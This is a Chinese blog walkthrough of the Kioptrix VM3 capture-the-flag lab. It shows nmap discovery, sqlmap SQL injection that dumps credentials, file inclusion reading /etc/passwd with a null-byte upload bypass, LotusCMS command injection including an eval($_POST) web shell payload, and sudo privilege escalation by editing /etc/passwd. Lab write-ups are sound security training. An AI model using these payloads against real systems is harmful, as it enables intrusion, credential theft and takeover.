Kioptrix VM3 靶机 - 详细流程

冰水°

已于 2024-09-21 17:40:09 修改

阅读量892

点赞数 15

文章标签：网络安全 web安全安全

于 2024-09-19 01:25:34 首次发布

本文链接：https://blog.csdn.net/m0_73983897/article/details/142346601

版权

准备工作

靶机下载链接：https://download.vulnhub.com/kioptrix/KVM3.rar
下载后解压，点击文件 .vmx
启动虚拟机，点击否，安装虚拟机
启动成功
修改网卡（与自己的主机在同一网段下即可，有插网线推荐桥接，WIFI推荐NAT），这里我选择NAT，点击确定
再次打开上面网络适配器的页面在高级中查看MAC地址
重启靶机

信息收集

确定NAT网段
可以看到NAT是192.168.142.0/24 网段的
kali 执行
```
sudo nmap -sn -PR 192.168.142.0/24
```
发现靶机IP为：192.168.142.144
端口扫描：nmap -p- 192.168.142.144
发现其开放 22 和 80 端口，
尝试访问80端口，发现如下页面

获取shell（3）


方式一：SQL注入	SQL注入URL路径：/gallery/gallery.php?id=1 通过SQLMap下载数据 `sqlmap -u "http://192.168.142.144/gallery/gallery.php?id=1" --dump --batch` 发现 `dev_accounts.csv` 和 `gallarific_users.csv` 文件中包含账号信息测试发现其中账号密码为：2个普通权限ssh用户和1个网站管理员用户 `ssh 账号1/密码：dreg/Mast3r ssh 账号2/密码：loneferret/starwars [推荐] http://192.168.142.144/gallery/gadmin/ 超级用户页面账号/密码：admin/n0t7t1k4`
方式二：文件包含	在翻找的过程中发现在 http://192.168.142.144/index.php?system=Blog 包含了 `?system=Blog` 尝试文件包含：http://192.168.142.144/index.php?system=../../../../../../../../etc/passwd. 发现可以进行读取，并发现了其网站的绝对路径 `/home/www/kioptrix3.com/core/lib` `PS：上图中的eval() 函数，后面会通过命令执行进行利用` 通过 `http://192.168.142.144/gallery/gadmin/photos.php` 编辑图片功能点，使其包含恶意的代码上传包含恶意代码的图片 Burp抓包，发送到 Repeater 修改数据修改前修改后切换到Hex，将php后的点修改为00，修改前修改后，点击 `Send` 发送返回`Proxy`，点击`Drop`，将原来的包丢掉回到网页，点击修改图片的`View`，查看文件名（这里文件名是不同的，记得看自己修改文件的文件名）计算文件路径：绝对路径：`/home/www/kioptrix3.com/core/lib` URL 路径：`http://192.168.142.144/gallery/photos/dmkn94ly0n.jpg` 等于 `/home/www/kioptrix3.com/gallery/photos/dmkn94ly0n.jpg` 进行包含，并使用蚁剑连接 `http://192.168.142.144/index.php?system=../../../../../../../../home/www/kioptrix3.com/gallery/photos/dmkn94ly0n.jpg%00.` 执行命令，发现是个普通用户
方式三：命令执行	这里部分源代码及解读推荐看下大佬的文章（末尾处）：vulnhub KioptrixVM3 靶场练习&LotusCMS漏洞分析 - rpsate - 博客园 (cnblogs.com) 这里只谈如何利用，可以通过 `'.命令.'` 的格式执行系统命令 `例： '.system(whoami).' http://192.168.142.144/index.php?page=%27.system(whoami).%27` 或是查看phpinfo 页面和蚁剑连接 `phpinfo() 页面： '.phpinfo().' http://192.168.142.144/index.php?page=%27.phpinfo().%27 蚁剑连接： '@eval($_POST[%27cmd%27])' http://192.168.142.144/index.php?page=%27.@eval($_POST[%27cmd%27]).%27`

权限提升 - SUDO 提权

这里直接使用已经获得的 SSH 账号进行提权
```
账号：loneferret
密码：starwars
```
列出当前用户拥有sudo权限的命令
```
sudo -l
```
发现拥有sudo权限的是个编辑器
打开编辑器，发现报错
```
sudo /usr/local/bin/ht
```
设置环境变量，继续执行上述命令
```
export TERM=xterm
sudo /usr/local/bin/ht
```
打开如下界面
整体流程：按下 F3 - 输入想编辑的文件 - 编辑完成后 - F2 保存 - Ctrl+C 退出
举例：编辑/etc/passwd 将 loneferret 用户提升至 root 权限
1. 输入 /etc/passwd ，按下回车键
2. 进行编辑（修改前）
3. 修改后
4. 编辑完成后 - F2 保存 - Ctrl+C 退出
重新登录 loneferret 用户，发现权限已经变为了 root
```
账号：loneferret
密码：starwars
```
PS：可以编辑任意文件这点，权限实在是太过了，这种权限已经可以变着花样玩了（增删改查，无所不能）

总结

流程：主机发现 - 信息收集 - web渗透 - 获取shell - 权限提升
信息收集：
1. 这次的靶机算是一个很标准的靶机了，信息收集的内容几乎全占了；
2. 其中通过指纹信息，搜索LotusCMS的漏洞发现可以通过命令执行获取Shell，算一个较大的战果；
3. 通过 PHP 的版本信息（5.2.4），容易联想到文件包含的00截断绕过（PHP<5.3.4）
4. 还有些通过观察系统版本（2.6.24），发现可以进行脏牛提取（2.6.22 < x < 3.9）等等
web渗透：
1. SQL注入，很标准的一套流程，仅通过SQL注入就成功获得了shell，在靶机中很是少见了；
2. 文件包含，这次参数 ?system=Blog 并没有显示的文件特征，但也尝试进行了包含，没想到还真有意外之喜；
3. 文件上传，PHP的版本算一个提示信息；
4. 命令执行，属于Nday，这个较为轻松；
PS：比较基础，但值得回味。